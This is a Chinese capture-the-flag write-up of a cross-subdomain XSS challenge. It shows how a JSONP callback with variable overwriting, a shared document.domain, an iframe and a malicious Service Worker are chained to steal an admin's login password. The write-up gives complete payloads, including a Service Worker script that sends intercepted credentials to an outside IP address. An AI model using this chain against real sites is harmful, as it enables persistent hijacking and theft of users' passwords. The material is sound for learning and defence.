

嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!,而登陆时,会以GET请求传入用户名和密码:
https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=123&adminpwd=123https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status ,网页直接返回了:
get_user_login_status({"status": false})
我们访问https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1);//
返回:
alert(1);//({"status":false})jsonp 函数会创建 script 标签,并使用
https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status 处的jsonp,而该jsonp调用的函数由变量 callback 决定。auto_reg_var 函数中,通过 location.search 获取了请求参数,并通过 window[key] = value 进行了赋值,此处存在变量覆盖漏洞。?callback=alert(1)// 。callback = "get_user_login_status";
auto_reg_var();
if (typeof(jump_url) == "undefined" || /^\//.test(jump_url)) {
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback, function(result) {
if (result['status']) {
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if (url.indexOf("callback") < 0) {
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName; //调用jsonp
} else {
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script); //执行jsonp的返回函数
}
function auto_reg_var() {
var search = location.search.slice(1);
var search_arr = search.split('&');
for (var i = 0; i < search_arr.length; i++) {
[key, value] = search_arr[i].split("=");
window[key] = value; //此处存在变量覆盖,可以覆盖掉callback变量
}
}虽然找到了一处XSS,但是题目又说明:“我收到邮件后会先点开链接然后登录我的网站!”,而登录的域名是auth.hardxss.xhlj.wetolink.com,登录和打开链接是在不同的域名,并且需要盗取的信息在请求中而不是在cookie中。又注意到,直接访问https://auth.hardxss.xhlj.wetolink.com/,返回的页面源码的js中包含跨域操作:document.domain = "hardxss.xhlj.wetolink.com";,
所以此题需要使XSS跨域持久化,这就涉及到本文的主角:Service Worker,通过它和其他页面的跨域操作可以让XSS持久化。此外,由于需要拦截登陆时的参数,其他方法难以做到拦截请求,而SW可以。
要使用SW,需要先注册,有两种方法注册SW:1. 通过JS;2. 通过link标签引入外部js
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw-test/sw.js', {
scope: '/sw-test/'
}).then(function(reg) {
// registration worked
console.log('Registration succeeded. Scope is ' + reg.scope);
}).catch(function(error) {
// registration failed
console.log('Registration failed with ' + error);
});
}
<link rel="serviceworker" href="/sw.js">navigator.serviceWorker.register 中的参数scriptURL )只能为本站中的JS脚本(并且必须是 HTTPS 或 localhost ,且这个脚本的 Content-Type 必须是 text/javascript 或者其等价类型);scope 则限定了Service Worker访问的资源的名称空间(如本例中只能访问 /sw-test/ 的子路径),并且, scope 参数不能设置为第一个参数的上层路径( scope 范围必须要小于 Service Worker 脚本本身的路径范围),几个例子:无效:"/assets/js/sw.js",{scope: "https://other.example.com/"}
无效:"/assets/js/sw.js", {scope: "/assets/"}
无效:"/assets/js/sw.js", {scope: "/assets/css/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/sub/"}从上文可以看出,Service Worker有诸多限制,所以利用起来也比较局限。
一种利用方式:首先发现本站的jsonp(或者有本站的js文件上传点,但这种情况比较少),以作为sw脚本url源。
接一段lightless师傅的引用:
该接口的路径越浅越好,最好在根目录下。很明显
http://localhost/time.jsonp?callback=要优于http://localhost/a/b/c/time.jsonp?callback=,因为如果后者作为Service Worker的脚本时,scope只能为/a/b/c/下的路径,而前者可以控制整个域下的内容。
有了这个JSONP,使用 importScripts 就可以在SW注册时引入任意https脚本:importScripts('https://my_site.com/my_evil.js');
利用脚本:
//SW脚本
this.addEventListener('fetch', function(event) {
var url = event.request.clone(); //获得用户请求
console.log('url: ', url);
var body = '<script>alert("test")</script>';
var init = {
headers: {
"Content-Type": "text/html"
}
};
if (url.url === 'http://localhost/sw/target.html') {//要访问的url(https或localhost)
var res = new Response(body, init);
event.respondWith(res.clone()); //篡改返回结果
}
});原理:通过监听 fetch 事件,截获用户的请求,篡改返回,向返回的页面上嵌入恶意的JS脚本。
在每个Service Worker授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。
importScripts('https://my_site.com/sw.js');//用于注册恶意脚本,通过jsonp或js上传调用importScripts从而引入外部JS
// sw.js(SW恶意脚本)
onfetch=e=>{//劫持fetch事件,即浏览器在子域下的每一次访问都会触发
body =
'<script>alert(document.domain)</script>';
init ={headers:{'content-type':'text/html'}};
e.respondWith(new Response(body,init));
}
// sw.js;与上一个类似
this.addEventListener('fetch', function (event) {
var url = event.request.clone();
console.log('url: ', url);
var body = '<script>alert("test")</script>';
var init = {headers: {"Content-Type": "text/html"}};
if (url.url === 'http://localhost/sw/target.html') {
var res = new Response(body, init);
event.respondWith(res.clone());
}
});document.domain="xxx.xxx"),则可以跨该域进行XSS。再引用一段lightless师傅的博客:
假设我们在
A.lightless.me上发现了 XSS,想要横向移动到secret.lightless.me上。当secret.lightless.me上存在跨域行为的时候,例如document.domain = 'lightless.me',我们可以通过 XSS 漏洞嵌入一个iframe标签,以此给secret.lightless.me域下植入Service Worker(前提是secret.lightless.me域下存在一个JSONP或是有可以返回Service Worker脚本的地方)。通过这种方法,即便secret.lightless.me域内没有 XSS,也可以被植入恶意的Service Worker。
理解一下:我们在A.lightless.me上插入一个secret.lightless.me域(secret.lightless.me域下存在跨域行为和JSONP或js文件上传)下的iframe,并通过JSONP为该iframe注册恶意SW,由于该页面跨域了,所以A.lightless.me页面的iframe可以访问其内容,能够成功为secret.lightless.me注册恶意SW。
在本题中,首先诱导受害者访问:
https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22https://testjs--hachp1.repl.co/1.js%22);//此处会触发xss.hardxss.xhlj.wetolink.com/login下的DOM XSS,从而引入并执行1.js
//1.js(iframe跨域、注册跨域下的SW)
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');//构造iframe,指向跨域页面
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';//此页面存在跨域操作
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//testjs--hachp1.repl.co/2.js')//")`;//使用JSONP注册SW,在JSONP内调用importscripts引入外部脚本
function iffLoadover(){
iff.contentWindow.eval(exp);
}在1.js中,我们首先跨域以访问同样跨域的https://auth.hardxss.xhlj.wetolink.com,这种跨域方法在实际开发中很常见,为了使数据能够跨域传输,开发者常常把两个不同子域的document.domain设置为共同的父域,通过iframe就能跨域操作,但也带来了安全隐患。此时,1.js就可以对https://auth.hardxss.xhlj.wetolink.com进行操作了。然后我们构造一个iframe指向https://auth.hardxss.xhlj.wetolink.com,并在其上注册SW(此处省去了scope参数,使用默认的最大子路径作为参数),此SW使用JSONP与importScripts结合加载2.js作为SW脚本。
//2.js(SW脚本,必须通过JSONP或JS上传引入)
this.addEventListener('fetch', function (event) {
var body = "<script>location='http://120.78.185.175:8888/'+location.search;</script>";//通过GET请求传参,此处劫持请求并将其带出
var init = {headers: {"Content-Type": "text/html"}};
var res = new Response(body, init);
event.respondWith(res.clone());
});2.js是SW脚本,在2.js中,我们劫持了fetch事件,并将请求传给我们的服务器,从而在管理员登陆时劫持并窃取管理员密码,达到利用目的。拿到密码后,登录网页即可拿到flag。需要注意的一点是,由于JSONP为https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=xxx,我们只能劫持受害者在https://auth.hardxss.xhlj.wetolink.com/api/的子域下的请求;而用户登陆的url为https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=xxx&adminpwd=xxx,恰好在该子域下,所以利用才能成功。可以看出SW的可利用路径是非常苛刻的。
真实情况下的案例:百度漏洞报告:埋雷式攻击,悄无声息获取用户百度登录密码
当注册SW时,会发出包含 Service-Worker: script http头的请求,可以在服务端拒绝非SW Script却又包含该头的请求以进行防范。
最后结合一张networking截图理解:

1.baidu.com上发现了XSS,2.baidu.com上存在跨域操作:document.domain = 'baidu.me'并且子域下存在JSONP(路径需要跟盗取的信息页面在同一子域)或能够上传js的地方,就可以完成JSONP子域下的持久化XSS劫持。最后几点: